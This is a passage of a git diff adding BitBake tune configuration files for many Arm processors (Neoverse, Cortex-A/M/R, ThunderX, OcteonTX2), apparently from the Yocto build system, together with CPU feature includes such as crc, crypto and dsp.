+# Note: Neoverse was called Ares, and GCC will accept "ares" in place of "neoverse-n1"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversen1', ' -mcpu=neoverse-n1', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "neoversen1"
+ARMPKGARCH:tune-neoversen1 = "neoversen1"
+TUNE_FEATURES:tune-neoversen1 = "${TUNE_FEATURES:tune-armv8-2a-crypto} neoversen1"
+PACKAGE_EXTRA_ARCHS:tune-neoversen1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} neoversen1"
+BASE_LIB:tune-neoversen1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc b/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc
new file mode 100644
index 0000000000..2cac70ea52
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "octeontx2"
+
+TUNEVALID[octeontx2] = "Enable Marvell octeontx2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeontx2', ' -mcpu=octeontx2', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "octeontx2"
+ARMPKGARCH:tune-octeontx2 = "octeontx2"
+TUNE_FEATURES:tune-octeontx2 = "${TUNE_FEATURES:tune-armv8-2a-crypto} octeontx2"
+PACKAGE_EXTRA_ARCHS:tune-octeontx2 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} octeontx2"
+BASE_LIB:tune-octeontx2 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc
new file mode 100644
index 0000000000..25780bc080
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M23
+#
+DEFAULTTUNE ?= "cortexm23"
+
+TUNEVALID[cortexm23] = "Enable Cortex-M23 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm23', ' -mcpu=cortex-m23', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-base.inc
+
+AVAILTUNES += "cortexm23"
+ARMPKGARCH:tune-cortexm23 = "cortexm23"
+TUNE_FEATURES:tune-cortexm23 = "${TUNE_FEATURES:tune-armv8m-base} cortexm23"
+PACKAGE_EXTRA_ARCHS:tune-cortexm23 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-base} cortexm23"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc
new file mode 100644
index 0000000000..04d1fe2bde
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-M33
+#
+DEFAULTTUNE ?= "cortexm33"
+
+TUNEVALID[cortexm33] = "Enable Cortex-M33 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm33', ' -mcpu=cortex-m33', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+# GCC thnks that DSP and VFP are required, but Arm docs say it is
+# optional. So forcing below so that compiling works, but this should
+# be fixed in GCC
+AVAILTUNES += "cortexm33"
+ARMPKGARCH:tune-cortexm33 = "cortexm33"
+TUNE_FEATURES:tune-cortexm33 = "${TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16} cortexm33"
+PACKAGE_EXTRA_ARCHS:tune-cortexm33 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16} cortexm33e-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc
new file mode 100644
index 0000000000..60e978facd
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-M35P
+#
+DEFAULTTUNE ?= "cortexm35p"
+
+TUNEVALID[cortexm35p] = "Enable Cortex-M35p specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm35p', ' -mcpu=cortex-m35p', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+# GCC thnks that DSP and VFP are required, but Arm docs say it is
+# optional. So forcing below so that compiling works, but this should
+# be fixed in GCC
+AVAILTUNES += "cortexm35p"
+ARMPKGARCH:tune-cortexm35p = "cortexm35p"
+TUNE_FEATURES:tune-cortexm35p = "${TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16} cortexm35p"
+PACKAGE_EXTRA_ARCHS:tune-cortexm35p = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16} cortexm35pe-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc
new file mode 100644
index 0000000000..c7b01a2906
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa32"
+
+TUNEVALID[cortexa32] = "Enable Cortex-A32 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa32', ' -mcpu=cortex-a32', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa32 cortexa32-crypto"
+ARMPKGARCH:tune-cortexa32 = "cortexa32"
+ARMPKGARCH:tune-cortexa32-crypto = "cortexa32"
+TUNE_FEATURES:tune-cortexa32 = "armv8a cortexa32 crc callconvention-hard neon"
+TUNE_FEATURES:tune-cortexa32-crypto = "${TUNE_FEATURES:tune-cortexa32} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa32 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa32 cortexa32hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa32-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa32 cortexa32hf-neon cortexa32hf-neon-crypto"
+BASE_LIB:tune-cortexa32 = "lib"
+BASE_LIB:tune-cortexa32-crypto = "lib"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
new file mode 100644
index 0000000000..55dd845b00
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
@@ -0,0 +1,20 @@
+#
+# Tune Settings for Cortex-A34
+#
+DEFAULTTUNE ?= "cortexa34"
+
+TUNEVALID[cortexa34] = "Enable Cortex-A34 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa34', ' -mcpu=cortex-a34', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa34 cortexa34-crypto"
+ARMPKGARCH:tune-cortexa34 = "cortexa34"
+ARMPKGARCH:tune-cortexa34-crypto = "cortexa34"
+TUNE_FEATURES:tune-cortexa34 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa34"
+TUNE_FEATURES:tune-cortexa34-crypto = "${TUNE_FEATURES:tune-cortexa34} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa34 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa34"
+PACKAGE_EXTRA_ARCHS:tune-cortexa34-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa34 cortexa34-crypto"
+BASE_LIB:tune-cortexa34 = "lib64"
+BASE_LIB:tune-cortexa34-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc
new file mode 100644
index 0000000000..33afb19386
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa35.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa35"
+
+TUNEVALID[cortexa35] = "Enable Cortex-A35 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa35', ' -mcpu=cortex-a35', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa35 cortexa35-crypto"
+ARMPKGARCH:tune-cortexa35 = "cortexa35"
+ARMPKGARCH:tune-cortexa35-crypto = "cortexa35"
+TUNE_FEATURES:tune-cortexa35 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa35"
+TUNE_FEATURES:tune-cortexa35-crypto = "${TUNE_FEATURES:tune-cortexa35} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa35 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa35"
+PACKAGE_EXTRA_ARCHS:tune-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa35 cortexa35-crypto"
+BASE_LIB:tune-cortexa35 = "lib64"
+BASE_LIB:tune-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc
new file mode 100644
index 0000000000..a534ad358d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa53.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa53"
+
+TUNEVALID[cortexa53] = "Enable Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa53', ' -mcpu=cortex-a53', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa53 cortexa53-crypto"
+ARMPKGARCH:tune-cortexa53 = "cortexa53"
+ARMPKGARCH:tune-cortexa53-crypto = "cortexa53-crypto"
+TUNE_FEATURES:tune-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa53"
+TUNE_FEATURES:tune-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa53 cortexa53-crypto"
+BASE_LIB:tune-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa53-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc
new file mode 100644
index 0000000000..7de671a2e5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa57-cortexa53.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "cortexa57-cortexa53"
+
+TUNEVALID[cortexa57-cortexa53] = "Enable big.LITTLE Cortex-A57.Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", " -mcpu=cortex-a57.cortex-a53", "", d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", "cortexa57-cortexa53:", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa57-cortexa53"
+ARMPKGARCH:tune-cortexa57-cortexa53 = "cortexa57-cortexa53"
+TUNE_FEATURES:tune-cortexa57-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa57-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa57-cortexa53"
+BASE_LIB:tune-cortexa57-cortexa53 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc
new file mode 100644
index 0000000000..37650d8798
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa57.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa57"
+
+TUNEVALID[cortexa57] = "Enable Cortex-A57 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa57', ' -mcpu=cortex-a57', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa57 cortexa57-crypto"
+ARMPKGARCH:tune-cortexa57 = "cortexa57"
+ARMPKGARCH:tune-cortexa57-crypto = "cortexa57-crypto"
+TUNE_FEATURES:tune-cortexa57 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa57"
+TUNE_FEATURES:tune-cortexa57-crypto = "${TUNE_FEATURES:tune-cortexa57} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa57"
+PACKAGE_EXTRA_ARCHS:tune-cortexa57-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa57 cortexa57-crypto"
+BASE_LIB:tune-cortexa57 = "lib64"
+BASE_LIB:tune-cortexa57-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc
new file mode 100644
index 0000000000..a77ef59d62
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa72-cortexa53.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "cortexa72-cortexa53"
+
+TUNEVALID[cortexa72-cortexa53] = "Enable big.LITTLE Cortex-A72.Cortex-A53 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", " -mcpu=cortex-a72.cortex-a53", "", d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", "cortexa72-cortexa53:", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa72.cortexa53 implies crc support
+AVAILTUNES += "cortexa72-cortexa53 cortexa72-cortexa53-crypto"
+ARMPKGARCH:tune-cortexa72-cortexa53 = "cortexa72-cortexa53"
+ARMPKGARCH:tune-cortexa72-cortexa53-crypto = "cortexa72-cortexa53-crypto"
+TUNE_FEATURES:tune-cortexa72-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa72-cortexa53"
+TUNE_FEATURES:tune-cortexa72-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa72-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa72-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa72-cortexa53 cortexa72-cortexa53-crypto"
+BASE_LIB:tune-cortexa72-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa72-cortexa53-crypto = "lib64"
+
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc
new file mode 100644
index 0000000000..b0a017e444
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa72.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa72"
+
+TUNEVALID[cortexa72] = "Enable Cortex-A72 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa72', ' -mcpu=cortex-a72', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa72 cortexa72-crypto"
+ARMPKGARCH:tune-cortexa72 = "cortexa72"
+ARMPKGARCH:tune-cortexa72-crypto = "cortexa72"
+TUNE_FEATURES:tune-cortexa72 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa72"
+TUNE_FEATURES:tune-cortexa72-crypto = "${TUNE_FEATURES:tune-cortexa72} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa72"
+PACKAGE_EXTRA_ARCHS:tune-cortexa72-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa72 cortexa72-crypto"
+BASE_LIB:tune-cortexa72 = "lib64"
+BASE_LIB:tune-cortexa72-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
new file mode 100644
index 0000000000..869670bf0c
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa35.inc
@@ -0,0 +1,21 @@
+#
+# Tune Settings for big.LITTLE Cortex-A73 - Cortex-A35
+#
+DEFAULTTUNE ?= "cortexa73-cortexa35"
+
+TUNEVALID[cortexa73-cortexa35] = "Enable big.LITTLE Cortex-A73.Cortex-A35 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa35", "cortexa73-cortexa35:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa35", " -mcpu=cortex-a73.cortex-a35", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa73.cortexa35 implies crc support
+AVAILTUNES += "cortexa73-cortexa35 cortexa73-cortexa35-crypto"
+ARMPKGARCH:tune-cortexa73-cortexa35 = "cortexa73-cortexa35"
+ARMPKGARCH:tune-cortexa73-cortexa35-crypto = "cortexa73-cortexa35-crypto"
+TUNE_FEATURES:tune-cortexa73-cortexa35 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa73-cortexa35"
+TUNE_FEATURES:tune-cortexa73-cortexa35-crypto = "${TUNE_FEATURES:tune-cortexa73-cortexa35} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa35 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73-cortexa35"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73-cortexa35 cortexa73-cortexa35-crypto"
+BASE_LIB:tune-cortexa73-cortexa35 = "lib64"
+BASE_LIB:tune-cortexa73-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc
new file mode 100644
index 0000000000..9cebffd54d
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73-cortexa53.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "cortexa73-cortexa53"
+
+TUNEVALID[cortexa73-cortexa53] = "Enable big.LITTLE Cortex-A73.Cortex-A53 specific processor optimizations"
+MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", "cortexa73-cortexa53:", "", d)}"
+TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", " -mcpu=cortex-a73.cortex-a53", "", d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# cortexa73.cortexa53 implies crc support
+AVAILTUNES += "cortexa73-cortexa53 cortexa73-cortexa53-crypto"
+ARMPKGARCH:tune-cortexa73-cortexa53 = "cortexa73-cortexa53"
+ARMPKGARCH:tune-cortexa73-cortexa53-crypto = "cortexa73-cortexa53-crypto"
+TUNE_FEATURES:tune-cortexa73-cortexa53 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa73-cortexa53"
+TUNE_FEATURES:tune-cortexa73-cortexa53-crypto = "${TUNE_FEATURES:tune-cortexa73-cortexa53} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa53 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73-cortexa53"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73-cortexa53 cortexa73-cortexa53-crypto"
+BASE_LIB:tune-cortexa73-cortexa53 = "lib64"
+BASE_LIB:tune-cortexa73-cortexa53-crypto = "lib64"
+
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
new file mode 100644
index 0000000000..13876e7245
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa73.inc
@@ -0,0 +1,20 @@
+#
+# Tune Settings for Cortex-A73
+#
+DEFAULTTUNE ?= "cortexa73"
+
+TUNEVALID[cortexa73] = "Enable Cortex-A73 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa73', ' -mcpu=cortex-a73', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa73 cortexa73-crypto"
+ARMPKGARCH:tune-cortexa73 = "cortexa73"
+ARMPKGARCH:tune-cortexa73-crypto = "cortexa73"
+TUNE_FEATURES:tune-cortexa73 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa73"
+TUNE_FEATURES:tune-cortexa73-crypto = "${TUNE_FEATURES:tune-cortexa73} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa73"
+PACKAGE_EXTRA_ARCHS:tune-cortexa73-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa73 cortexa73-crypto"
+BASE_LIB:tune-cortexa73 = "lib64"
+BASE_LIB:tune-cortexa73-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc b/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc
new file mode 100644
index 0000000000..7bc6282be8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-thunderx.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "thunderx"
+AVAILTUNES += "thunderx thunderx_be"
+
+TUNEVALID[thunderx] = "Enable instructions for Cavium ThunderX"
+
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thunderx', ' -mcpu=thunderx', '',d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+ARMPKGARCH:tune-thunderx ?= "thunderx"
+ARMPKGARCH:tune-thunderx_be ?= "thunderx"
+
+TUNE_FEATURES:tune-thunderx = "${TUNE_FEATURES:tune-aarch64} thunderx"
+TUNE_FEATURES:tune-thunderx_be = "${TUNE_FEATURES:tune-thunderx} bigendian"
+BASE_LIB:tune-thunderx = "lib64"
+BASE_LIB:tune-thunderx_be = "lib64"
+
+PACKAGE_EXTRA_ARCHS:tune-thunderx = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} thunderx"
+PACKAGE_EXTRA_ARCHS:tune-thunderx_be = "aarch64_be thunderx_be"
diff --git a/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc b/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc
new file mode 100644
index 0000000000..3a97cf8ee8
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8r/tune-cortexr52.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R52
+#
+DEFAULTTUNE ?= "cortexr52"
+
+TUNEVALID[cortexr52] = "Enable Cortex-R52 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr52', ' -mcpu=cortex-r52', '', d)}"
+
+require conf/machine/include/arm/arch-armv8r.inc
+
+AVAILTUNES += "cortexr52"
+ARMPKGARCH:tune-cortexr52 = "cortexr52"
+TUNE_FEATURES:tune-cortexr52 = "${TUNE_FEATURES:tune-armv8r-crc-simd} cortexr52"
+PACKAGE_EXTRA_ARCHS:tune-cortexr52 = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} cortexr52"
diff --git a/meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc b/meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc
new file mode 100644
index 0000000000..36355f7bed
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv9a/tune-neoversen2.inc
@@ -0,0 +1,22 @@
+#
+# Tune Settings for Neoverse-N2
+#
+DEFAULTTUNE ?= "neoversen2"
+
+TUNEVALID[neoversen2] = "Enable Neoverse-N2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'neoversen2', ' -mcpu=neoverse-n2', '', d)}"
+
+# Even though the Neoverse N2 core implemnts the Arm v9.0-A architecture,
+# but the support of it in GCC is based on the Arm v8.5-A architecture.
+require conf/machine/include/arm/arch-armv8-5a.inc
+
+# Little Endian base configs
+AVAILTUNES += "neoversen2 neoversen2-crypto"
+ARMPKGARCH:tune-neoversen2 = "neoversen2"
+ARMPKGARCH:tune-neoversen2-crypto = "neoversen2-crypto"
+TUNE_FEATURES:tune-neoversen2 = "${TUNE_FEATURES:tune-armv8-5a} neoversen2"
+TUNE_FEATURES:tune-neoversen2-crypto = "${TUNE_FEATURES:tune-neoversen2} crypto"
+PACKAGE_EXTRA_ARCHS:tune-neoversen2 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-5a} neoversen2"
+PACKAGE_EXTRA_ARCHS:tune-neoversen2-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-5a-crypto} neoversen2 neoversen2-crypto"
+BASE_LIB:tune-neoversen2 = "lib64"
+BASE_LIB:tune-neoversen2-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/feature-arm-crc.inc b/meta/conf/machine/include/arm/feature-arm-crc.inc
new file mode 100644
index 0000000000..8a69d2e2fa
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-crc.inc
@@ -0,0 +1,4 @@
+# Cyclic Redundancy Check (CRC) instructions for armv8-a and armv8-r
+
+TUNEVALID[crc] = "Enable instructions for ARMv8 Cyclic Redundancy Check (CRC)"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'crc', '+crc', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-crypto.inc b/meta/conf/machine/include/arm/feature-arm-crypto.inc
new file mode 100644
index 0000000000..aade6ce08d
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-crypto.inc
@@ -0,0 +1,5 @@
+# Cryptographic instructions for:
+# armv8-a, armv8.1-a, armv8.3-a, armv8.4-a, armv8.5-a, armv8.6-a, and armv8-r
+
+TUNEVALID[crypto] = "Enable cryptographic instructions for ARMv8"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'crypto', '+crypto', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-dsp.inc b/meta/conf/machine/include/arm/feature-arm-dsp.inc
new file mode 100644
index 0000000000..7f7ada7461
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-dsp.inc
@@ -0,0 +1,3 @@
+ARMPKGSFX_DSP = "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], 'e', '', d)}"
+TUNEVALID[dsp] = "ARM DSP functionality"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', [ 'dsp' ], '+dsp', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-idiv.inc b/meta/conf/machine/include/arm/feature-arm-idiv.inc
new file mode 100644
index 0000000000..0ea42b1b39
--- /dev/null
+++ b/meta/conf/machine/include/arm/feature-arm-idiv.inc
@@ -0,0 +1,2 @@
+TUNEVALID[idiv] = "ARM-state integer division instructions"
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', 'idiv', '+idiv', '', d)}"
diff --git a/meta/conf/machine/include/arm/feature-arm-neon.inc b/meta/conf/machine/include/arm/feature-arm-neon.inc
index eaddd054ce..174b9b9f2a 100644
--- a/meta/conf/machine/include/arm/feature-arm-neon.inc
+++ b/meta/conf/machine/include/arm/feature-arm-neon.inc
@@ -19,3 +19,8 @@ TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', [ 'vfpv4', 'neon' ],
TUNEVALID[vfpv4d16] = "Enable Vector Floating Point Version 4 with 16 registers (vfpv4-d16) unit."
TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfpv4d16', ' vfpv4-d16', '', d)}"
+
+TUNEVALID[vfpv5spd16] = "Enable Vector Floating Point Version 5, Single Precision. with 16 registers (fpv5-sp-d16) unit."
+TUNE_CCARGS_MFPU .= "${@bb.utils.contains('TUNE_FEATURES', 'vfpv5spd16', 'fpv5-sp-d16', '', d)}"
+
+TUNE_CCARGS_MARCH_OPTS .= "${@bb.utils.contains('TUNE_FEATURES', [ 'vfpv3d16', 'vfpv5spd16' ], '+fp', '', d)}"
